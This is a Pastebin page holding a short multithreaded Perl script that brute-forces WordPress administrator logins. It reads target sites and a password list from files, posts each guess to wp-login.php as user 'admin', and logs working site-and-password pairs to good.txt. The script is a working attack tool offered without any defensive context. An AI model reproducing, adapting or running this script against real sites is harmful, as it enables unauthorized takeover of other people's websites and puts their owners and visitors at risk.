Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use strict;
- use LWP::UserAgent;
- use HTTP::Cookies;
- use threads;
- use threads::shared;
- my $threads = 3;
- my @pass:shared;
- my @site:shared;
- my $i:shared;
- for(0..$threads) {$pass[$_] = threads->create(\&scan, $_);}
- for(@pass) { $_->join; }
- sub scan {
- my $ua = LWP::UserAgent->new(timeout => 35,
- cookie_jar => new HTTP::Cookies);
- $ua->agent('Windows');
- push @{ $ua->requests_redirectable }, 'POST';
- my $login= 'admin' ;
- open (F,"<sites.txt");
- my @sites=<F>;
- chomp(@sites);
- close(F);
- foreach (@sites)
- {
- my $site = $_;
- open (N,"<pass.txt");
- my @passs=<N>;
- chomp(@passs);
- close(N);
- foreach (@passs)
- {
- my $pass = $_;
- my $resp = $ua->post("$site/wp-login.php/",
- ["log" => $login,
- "pwd" => $pass,
- "wp-submit" => '',
- "redirect_to"=>"$site"."wp-admin/",
- "testcookie"=>"1"])->as_string;
- if ($resp =~ /profile/)
- {
- open G,">>good.txt"; #ะณัะดั
- print G "$site/wp-login.php/admin;$pass\n";
- print "[+++++] $site/wp-login.php/admin;$pass\n";
- }
- else
- {
- print "[-] $site;$pass BAD\n";
- }}}}
- <>;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement